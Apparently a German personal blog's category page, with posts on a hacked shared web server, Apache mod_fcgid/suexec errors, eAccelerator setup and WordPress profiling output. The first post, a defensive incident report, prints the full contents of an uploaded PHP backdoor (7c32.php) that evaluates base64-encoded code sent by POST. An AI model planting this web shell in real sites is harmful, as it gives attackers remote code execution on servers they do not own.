Kategorien
In eigener Sache

Über 7c32.php und Mailspam

Der Server auf dem dieses Blog läuft, hostet auch einige andere Webseiten. Eine davon wurde gehackt und hat die letzten Tage unglaubliche Mengen an Spammails versendet. Kann passieren und passiert tatsächlich auch recht oft. Nur dieses Mal war es einfach eine Datei namens 7c32.php, die per FTP hochgeladen wurde und keine Sicherheitslücke von WordPress oder was auch immer man so laufen hat. Davor eine Datei ftpchk3.php um zu prüfen, ob das FTP Verzeichnis auch per Web erreichbar ist.

Der Angreifer wusste also den Benutzernamen, das Passwort und auf welcher Domain dieses Skript laufen würde und hat das genutzt um mit der PHP Funktion mail() Spam zu verschicken. Mitgeschnitten in einem Wifi Netz? Gezielter Hack? Trojaner? Wir wissen es nicht.

Das scheint übrigens ein älterer und vermutlich automatisierter Angriff zu sein. Eine Googlesuche nach 7c32.php bringt einige viele Suchergebnisse, die zum Teil bis 2012 zurückreichen.

Wie dem auch sei … einfach mal in der eigenen Installation von was auch immer (WordPress, Joomla, Webseite mit PHP) nach einer Datei 7c32.php (im Unterverzeichnis css) suchen. Die Datei ftpchk3.php wurde vom Angreifer wieder gelöscht, laut Netz enthält sie aber auch nur den Code:
echo "OK"

Be safe!

P.S.: Der Inhalt von 7c32.php:
< ? php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));} ? >

Kategorien
Geeky In eigener Sache

Apache2 auf einem Vserver einrichten

Seit den Weihnachtsfeiertage läuft dieses Blog ja nun auf einem neuen (V)Server, der deutlich leistungsstärker als die vorherige Version ist. Das liegt nicht nur an der schnelleren Maschine, sondern auch an der Tatsache, dass man es bei so einem Umzug ja nochmal mit den ganzen Konfigurationsdateien zu tun bekommt.

Das angesammelte Wissen würde ich gerne mit euch und meinem zukünftigen serverinstallierenden Ich teilen ;-)

Kategorien
Geeky In eigener Sache

Apache mod_fcgid/suexec und gelegentliche „Premature end of script headers“ Fehlermeldungen

[Fixed]

Ich habe vor kurzem unseren Webserver (Apache) auf mod_fcgid und suexec umgestellt um das ganze etwas sicherer zu gestalten. Die verschiedenen Benutzer und Webseiten auf unserem Server sind nun gegeneinander abgeschottet und alles sollte toller sein … so hoffte ich jedenfalls.

Scheint auch so zu sein. Die Webseiten mit PHP laden nicht langsamer als vorher (EAccelerator kann nicht mehr benutzt werden, da es nicht mit suexec funktioniert) und es laufen ganz viele php-cgi Prozesse mit den Rechten der entsprechenden Webbenutzern.

Ist aber nicht wirklich so. Unter Last stimmt da irgendwas nicht und der Server liefert ab und zu Server Error 500 („Premature end of script headers“) Fehlerseiten aus. Jetzt kann das natürlich daran liegen, dass hier alles auf einem Vserver liegt, aber /proc/user_beancounters deutet nicht darauf hin, dass irgendwelche Grenzwerte überschritten werden. Nur die Shared Memory Pages sind verdächtig hoch und nahe der Grenzwerte, normales RAM hat noch lange nicht die 2 GB Grenze erreicht.

Kennt sich irgendeiner meiner Leser damit aus? Was passiert mit PHP FastCGI unter Last? Brechen die Prozesse dann einfach so ab? Die php-cgi Prozesse für mein Blog sind nämlich witzigerweise alle kaum älter als 30 Minuten und das obwohl sie 2500 Anfragen bearbeiten sollen bevor sie neu gestartet werden und so beliebt ist mein Blog nun auch wieder nicht. Gibt es sonst noch einen Grund? In den Logs kann ich keinen weiteren Grund finden. Gibt es vielleicht einen Debugmode oder so etwas ähnliches wie strace dafür?

Meldet euch ;-)

Update:
Es muss tatsächlich etwas mit dem Starten bzw. Beenden der php-cgi Prozesse zu tun haben. Im Apache Error Log stehen die gleichen Zeiten bei den „Premature …“-Fehlern, die im suexec.log angeben wann ein php-cgi Prozess gestartet wurde. Für meinen Geschmack passiert das viel zu oft, obwohl PHP_FCGI_MAX_REQUESTS auf 2500 steht.

Noch ein Update vom Update: In dem Modus weckt Apache seine „Kinder“ per http-Anfrage an sich selbst auf der IP 127.0.0.1 … und das ziemlich oft. Vielleicht sind die 2500 Request deshalb so schnell aufgebraucht.

Update:
Ok, anscheinend ist es ein Problem mit dem shared Memory. Im error_log findet sich ab und zu

PHP Warning: [eAccelerator] Can not create shared memory area in Unknown on line 0
PHP Fatal error: Unable to start eAccelerator module in Unknown on line 0

So … das erklärt die Abstürze der Prozesse, wirft allerdings eine neue Frage auf. Warum zum Teufel läuft eAccelerator noch? Erstaunlicherweise scheint das Ding wirklich Bytecode in /tmp/eaccelerator abzulegen, obwohl ich überall gelesen habe, dass eAccelerator nicht mit suexec funktionieren soll. Ach ja, und warum funktioniert es eigentlich? Ich habe keine eaccelerator lib und es ist auch in keiner Konfigurationsdatei vermerkt. Wo kommt das Ding her? … da kommt wohl noch ein Update später ;-)

Letztes Update:
Scheinbar geht eAccelerator auch mit suexec und FastCGI zusammen (eine ini-Datei dafür lag in /etc/php5/apache2/conf.d). Das Problem waren dann tatsächlich die zur Verfügung stehenden Shared Memory Pages auf dem Vserver. Habe eAccelerator angewiesen weniger davon zu benutzen und die Dateien auf der Platte zu cachen. Ob das jetzt dann überhaupt noch viel bringt ist fraglich, aber es funktioniert ohne „Premature …“ – Fehler und das reicht mir erstmal.

Danke für die vielen Hinweise. Gebt zu, ihr wusstet, dass ich es eventuell selbst rausbekommen würde ;-)

Kategorien
Geeky In eigener Sache Statistik

eAccelerator und Apache (Benchmarks)

Mit dem Umzug auf den neuen Server musste ich ein paar Optimierungen wieder neu einstellen. So zum Bespiel den Query Cache von MySQL und auch einen Beschleuniger für PHP, der die Skripte schon mal jeweils vorkompiliert damit das nicht jedes mal zur Laufzeit geschehen muss. Früher haben wir da Turck MMCache verwendet, aber jetzt wollte ich mal was neues ausprobieren. Also her mit eAccelerator und schon gab es Probleme.

Scheinbar darf man PHP nicht mit „–enable-versioning“ kompilieren. Zwar funktioniert der Beschleuniger dann in der PHP-CLI Version (also direkt auf der Konsole), aber nicht mit mod_php. Das error_log war voll von Fehlern der Art:

Failed loading /usr/lib/extensions/no-debug-non-zts-20060613/eaccelerator.so: 
/usr/lib/extensions/no-debug-non-zts-20060613/eaccelerator.so: 
undefined symbol: _zval_ptr_dtor

Ohne obigen Parameter funktioniert es wunderbar.

Kategorien
Misc Statistik Wordpress

Kleinvieh macht auch Mist

In einer Vorlesung haben wir gelernt, dass 20% aller Aufrufe in Programmen Sprünge sind und die Top10 der Aufrufe zusammen 96% aller aufgerufenen Befehle ausmachen. Das kann man auch für PHP/Wordpress mittels APD herausfinden (auf einem höheren Level). Sortiert nach der Anzahl der Aufrufe sieht man, dass eben auch Kleinvieh Mist macht. Ich frage mich, ob man da nicht massiv optimieren kann. So oft wie strlen und mysql_fetch_object aufgerufen werden, dass kann nicht normal sein.

Hier die Aufrufe nach Anzahl der Calls sortiert:

         Real         User        System             secs/    cumm
%Time (excl/cumm)  (excl/cumm)  (excl/cumm) Calls    call    s/call  Memory Usage Name
--------------------------------------------------------------------------------------
 15.1  0.16  0.16   0.13  0.13   0.01  0.01  4414   0.0000    0.0000            0 mysql_fetch_object
 12.6  0.11  0.11   0.11  0.11   0.01  0.01  4123   0.0000    0.0000            0 strlen
  6.7  0.07  0.07   0.06  0.06   0.00  0.00  2002   0.0000    0.0000            0 substr
  7.2  0.07  0.07   0.07  0.07   0.00  0.00  1711   0.0000    0.0000            0 preg_replace
  2.0  0.02  0.11   0.02  0.09   0.00  0.00  1674   0.0000    0.0000            0 cachedfilereader::read
  3.0  0.02  0.09   0.03  0.09   0.00  0.00  1664   0.0000    0.0000            0 cachedfilereader::seekto
  4.7  0.04  0.04   0.04  0.04   0.01  0.01  1084   0.0000    0.0000            0 str_replace
  1.3  0.01  0.01   0.01  0.01   0.00  0.00   670   0.0000    0.0000            0 array_slice
  3.0  0.03  0.03   0.03  0.03   0.00  0.00   670   0.0000    0.0000            0 func_get_args
  1.9  0.02  0.02   0.02  0.02   0.00  0.00   670   0.0000    0.0000            0 merge_filters
  1.1  0.01  0.18   0.01  0.16   0.00  0.01   663   0.0000    0.0000            0 apply_filters
  1.6  0.02  0.02   0.02  0.02   0.00  0.00   624   0.0000    0.0000            0 mysql_num_fields
  3.2  0.02  0.02   0.03  0.03   0.00  0.00   575   0.0000    0.0000            0 mysql_fetch_field
  2.4  0.01  0.01   0.02  0.02   0.00  0.00   534   0.0000    0.0000            0 date
  3.8  0.04  0.04   0.03  0.03   0.00  0.00   533   0.0000    0.0000            0 strstr
  1.1  0.01  0.01   0.01  0.01   0.00  0.00   315   0.0000    0.0000            0 defined
  0.2  0.00  0.10   0.00  0.09   0.00  0.00   303   0.0000    0.0000            0 get_settings
  0.7  0.01  0.01   0.01  0.01   0.00  0.00   286   0.0000    0.0000            0 is_array
  0.2  0.00  0.02   0.00  0.01   0.00  0.00   212   0.0000    0.0000            0 smiliescmp
  0.0  0.00  0.01   0.00  0.01   0.00  0.00   160   0.0000    0.0000            0 backslashit

Noch beeindruckender, die Top20 beim Schreiben eines Artikels: